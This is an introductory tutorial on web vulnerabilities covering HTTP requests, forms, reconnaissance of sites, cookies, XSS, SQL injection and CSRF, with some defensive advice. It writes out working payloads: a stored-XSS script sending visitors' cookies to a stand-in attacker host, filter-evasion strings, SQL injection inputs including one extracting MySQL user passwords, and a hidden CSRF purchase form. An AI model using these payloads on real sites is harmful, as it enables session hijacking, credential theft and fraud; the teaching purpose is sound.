Web Vulnerabilities

This section is about vulnerabilities in websites and web apps.

Review of how websites work

The basic way things work when you want to access a website is your web browser sends an HTTP (*hypertext transfer protocol*) request over to the web server where the website is hosted. Here is a simple HTTP request:

```
GET /stuff/somefile.html HTTP/1.1
Host: example.com
```

The first line starts the command type, which is often GET or POST. More on these later. Next comes a path to the file being requested. The last part indicates what version of HTTP is being used. The second line is an example of a *header*. The host header tells the web server which specific site you're looking for in case it's hosting multiple sites. There are usually other headers, but we haven't included them here. The web server will then send the file you requested. That response contains various headers indicating things like dates, file sizes, and it contains the file you asked for.

When you visit a website, your browser will end up generating a bunch of requests which will return some HTML, CSS, JavaScript (JS), images, and possibly other things. Your browser reads the HTML code of a page and uses that to format how the page looks. It uses CSS to refine the formatting, often for things like font sizes and coloring. JavaScript is the main programming language that your browser understands. It's used to add interactivity to web sites. Without it, sites would mostly just be static documents.

HTML is a markup language which uses tags to specify how things will be displayed. For instance, here is a little HTML:

```
<ul>
    <li> This is an item in an unordered list</li>
    <li> Here is a link: <a href='http://example.com'>click here</a></li>
</ul>
```

Usually there is an opening tag and a closing tag. For instance, <ul> starts an unordered list and ends it. You can learn the basics of how HTML works pretty quickly.

We won't need to know much about CSS here, so we'll skip it. JavaScript is a language that looks a lot like Java, though it's different. JavaScript can be included in a page by putting it between HTML <script> tags. You can also use the script tag to load an external JavaScript file, including one from a different site. Many website vulnerabilities come from JavaScript.

The client's web browser is mostly limited to HTML, CSS, JavaScript, and one other thing, WebAssembly, which we won't cover here. On the server, however, there are no limitations. You can run whatever language you want there and use it to generate the pages that are sent back to the client. Common server-side languages include PHP, JavaScript, Python, Java, and Ruby.

Sending data to a website

The two common ways to send data are via HTTP GET requests and HTTP POST requests. The difference is that GET sends the data in the URL, while POST sends it in the body of the HTTP request. In your web browser, usually this is done via a form. Here is an example form in HTML:

```
<form action="form.php" method="get">
    Enter your age: <input type="text" name="age" />
</form>
```

This uses GET and will send the info you put into the form to a URL like `http://example.com/form.php?age=25`. If the form had another field called `class`, the URL might end up looking like this: `http://example.com/form.php?age=25&class=senior`. The part that starts at the question mark is called a *query string*. It consists of name=value pairs with different pairs separated by `&` symbols. If this were a POST request, the information would be sent in an HTTP request that looks like this:

```
POST form.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 20

age=27&class=senior
```

For GET requests, the data is always visible in the URL. For POST requests, you can use your browser's developer tools to see the info your browser is submitting to a site. One of the most important lessons here is that you don't have to use your browser to submit data to a page. There are several other ways.

1. For GET requests, you can just craft the URL. For instance, for the form above, you could set the age directly in the URL, and that will bypass the form entirely.
2. For both GET and POST requests, you can send the data directly in an HTTP request using a tool like Telnet or Putty.
3. Most programming languages have libraries that let you send HTTP requests directly. Python has a nice one called `requests`. It doesn't come in the standard Python distribution, so you have to install it separately.
4. There are command line tools that can be used to send HTTP requests. The most popular one is called *curl*. It doesn't come with Windows, so if you want to use the command line, either download curl or use PowerShell's Invoke-RestMethod. Here is an example of using curl to send some data to the form above:

   ```
   curl -d "age=25" http://example.com/form.php
   ```

5. There are special tools like Burp Suite that allow you to edit all sorts of things you send to a site in a browser environment.

Here is some code from a form. It tries to use JavaScript to prevent people from entering a negative price. However, by sending our own POST request using any of the methods described above, we can totally bypass the script (which only runs in the browser) and set a negative price. In order to prevent a negative price, a client-side check in JavaScript is not enough. The check needs to be done on the server.

```
<form action="form.php" method="post" id="whatever">
        Price: <input type="text" name="price" id="priceEntry" /><br />
</form>

<script>
function func(e) {
    var entry = document.getElementById("priceEntry");
    var value = parseInt(entry.value);
    if (value < 0) {
        e.preventDefault();
        alert("Invalid price");
    }
}

var form = document.getElementById("whatever");
form.addEventListener("submit", func);
</script>
```

Finding stuff on webpages

View source All of the code needed to display a page in your browser (HTML, CSS, and JavaScript) is viewable by anyone at the page. Simply use the "View Source" option in your browser. You can often get it by right-clicking in your browser. Very often there will be comments in the source that might have interesting information. For instance, maybe the person writing the page wanted to keep a certain link from displaying on the page. Instead of deleting it, they might have commented it out.

Misconfigured directories Suppose you're at a page `http://example.com/images/computer.png`. In the URL bar, you can remove the filename so that it's just `http://example.com/images/`. This will either give you an HTTP 403 Forbidden error or it will give you a listing of the files in the directory. In the latter case, you might be able to find something interesting.

Common directories There are certain directories that sites often store stuff at. One in particular is `/admin`, where people often store things that it would be better if people didn't find. You could also try various other directory names to see if they lead to anything interesting. There are tools out there, like DirBuster that can automate the process.

Changing filenames If you find something at a site like `example.com/2019financialreport.pdf` and you want the 2020 report, try changing the filename in the URL bar. It might give you a 404 Not Found, but you might find something that the developer put there but didn't link to.

The Internet Archive The Internet Archive (archive.org) is a site that periodically takes snapshots of websites. An older version of a site may have had some vulnerabilities or some information they don't want on the site anymore, and you might be able to find it in one of those snapshots.

robots.txt The way search engines work is they send out bots that "crawl" the web, following links and recording what they find. That info then ends up in the search results. If you run a site, there are certain parts of your site you might not want these crawlers to visit because you don't want that stuff showing up in search results. To tell crawlers what it's okay and not okay to visit, you can put that info in a file called `robots.txt` on your server. If someone is trying to gather information about your site, `robots.txt` tells them where the interesting stuff might be.

Cookies

Cookies are a way for websites to store a little bit of information in your browser. The way they work is when you first visit a website, it sends a cookie to you. This is in an HTTP header. Your browser sees this and stores the value. Then every subsequent time your browser makes a request to that site, it will send the cookie. The key part is that it is sent in every request. Eventually the cookie may expire. That expiration date is set by the website, though you could also delete the cookie yourself before then.

Cookies are often used for remembering your settings on a page. They add personalization. Cookies can also be used for tracking which sites you visit. But for our purposes, the most important use of cookies is for session IDs. When you log onto a site with a username and password, you only send those credentials once at the start of the session. Right after that the site sends you a session ID cookie. This is a long, random value that is unique to you. That session ID is how the server identifies future requests from you. As far as the server is concerned, you are that ID. If anyone were to get that ID, the server would think they were you. If someone gets your Amazon session ID cookie, they could use it to make purchases on your account.

Cross-site scripting

Cross-site scripting (XSS) is a common vulnerability on web sites. Here is an example of some code that leads to an XSS vulnerability.

```
<form action="xss_comment_page.php" method="post">
        Name: <input type="text" name="name" /><br />
</form>

<?php
if (isset($_POST["name"])) {
    $stuff = file_get_contents("xss_names.txt");
    $stuff .= "<br />" . $_POST["name"];
    echo $stuff;
    file_put_contents("xss_names.txt", $stuff);
}
?>
```

The code creates a form where people enter their name. The code at the bottom is PHP code that runs on the server. It takes the name the person entered, stores it in a file with all the other names that have been entered in the past, and writes all of that directly to the page. When someone views the page, they will see the form and the list of names (but not the PHP code since that just runs on the server). Here is the vulnerability: someone could enter `<script>alert(0)</script>` as their name. Their name is echoed by the PHP code directly onto the HTML document as `<script>alert(0)</script>`, which will be interpreted by the browser as JavaScript code, and the browser will run it. Since this name is stored in a file that is written to the page whenever anyone views the page, everyone who views the page will now have an alert box pop up. The alert box is just used as a proof of concept. Once an attacker is able to do that, they then start entering in more interesting scripts. JavaScript is such a versatile language that an attacker can create scripts that change the content of the page, pop up alerts phishing for credentials, log keypresses, and steal cookies (like session ID cookies). Here is a script that will do just that:

```
<script>document.write("<img src='http://attackersevilhomepage.com/cookie_stealer.php?cook=" + document.cookie +  "'>")</script>
```

This uses the JS `document.write` function to write an HTML image tag. This image tag requests an image from an external website that an attacker controls. As part of the request, we send some information in GET, and the query string contains `document.cookie`, which is how we can get access to the cookie in JS. Anyone that views this page will have this script run on their browser, and it will send their cookie in that GET request. The attacker would log all of those GET requests and so would be able to harvest other people's cookies.

This type of XSS where the script gets stored on the server in a file or database and is then displayed to other people is called a *stored XSS*. There is another type called *reflected*. Here is an example. Let's say a new search engine takes the search term in a GET request and generates a URL like `http://example.com/search.php?term=computer`. And lets say it takes that search term and directly displays it on the page maybe in something that says "Results for 'computer'". An attacker could craft a link like `http://example.com/search.php?term=<script>alert(0)</script>`. If they send that link to someone, say in an email, that script will run at the search site if the target clicks on it. As opposed to a stored XSS which affects all visitors to a site, this just affects those who click on the link.

In order to prevent XSS in code you write, it's important to be very careful where you insert user input. For instance, if you insert user input directly into some script tags, then there's really no hope for you. If you must insert user input directly elsewhere in a page, it's good to use programming languages features that are designed to stop XSS. For instance, PHP has a function called `htmlentities`. This will take various potentially dangerous symbols like < and > that are used in XSS and replace them with their escaped equivalents, which are `&lt;` and `&gt;`. These are HTML codes that will display as < and > to someone viewing the page, but they won't be interpreted by your browser as being part of a tag.

This is still not totally enough to stop all XSS scripts. For instance, suppose a site wants to insert some user entered data into an HTML link tag as shown in the PHP code below. The user's data is in the PHP variable `$w`. If

that variable is something like `' onmouseover='alert(0)`, then an alert box will pop up whenever the user hovers their mouse over the link. And of course we can replace the alert with something more sinister.

```
echo "Website: <a href='" . $w . "'>" . "click here</a>";
```

The site owasp.org has a nice page on how to prevent XSS and also a nice page on how to evade XSS filters. Trying to roll your own filter is a bad idea. For instance, if you just try to remove `<script>` tags from a user's input, people could use things like `< ScriPt >` with some random capitals and spaces to get around your filter. Or they could do something like this: `<scr<script>ipt>`.

SQL injection

SQL is the main language used for database queries. Very often a website will have a form and the input from the form will be used to create a database query, and the results are displayed on the page. For instance, if you do an Amazon search for computers, Amazon will put that term into a database query, and return some results from its database relevant to your search. Here is an example of some PHP code that takes some user input and inserts it into an SQL query.

```
$result = $conn->query("SELECT * FROM products WHERE name='" . $_POST["name"] . "'");
```

If the person enters the name "chocolate", then it generates this query:

```
SELECT * FROM products WHERE name='chocolate'
```

This says to take all results (*) from the products table that have a name of chocolate. Here is something an attacker could enter into the form: `'OR 1=1#`. It generates the SQL query below.

```
SELECT * FROM products WHERE name='' OR 1=1#'
```

The initial quote of what the attacker enters closes off the quote from the PHP code. Then we have `OR 1=1`. Remember that logical OR evaluates to true if either of its two operands are true. Since `1=1` is guaranteed to be true, this means the condition will evaluate to true. The end result is that it will display all the items in the database. The # at the end is a comment which makes sure the closing quote from the PHP code doesn't cause a syntax error with the attacker's code. Here is another input an attacker could enter. You can probably guess what it will accomplish:

```
' and 1=2 union select user, password,0,0 from mysql.user #
```

Cross-site Request Forgery

Cross-site Request Forgery (CSRF) is a relative of XSS. It involves some code on one page generating an undesired effect on another page. Suppose we have an online store with a form where you can enter an item and a shipping address. Let's assume it's a POST request. The store will check to make sure it's you by checking your session ID cookie when you make the request. Now suppose an attacker creates a page on a totally different site with the following code on it.

```
<form action="http://someonlinestoreabcde.com/purchase.php" method="post" target="nothing">
    <input type="hidden" name="item" value="computer"/>
    <input type="hidden" name="address" value="attacker's address"/>
</form>
```

If the attacker can get you to visit that site while you are also logged into the online store, then the POST request will be made, and your session ID cookie will be used with it. You wouldn't even realize this is happening because the form content is all hidden.

The solution to this problem is to include a unique, random token (called a CSRF token) with every request. When you're on the real site, it sends you that token and you have to send that back in order to complete the request. That token is not a cookie, but rather a value that comes with the info you download from the page. The attacker would have no way of knowing that token.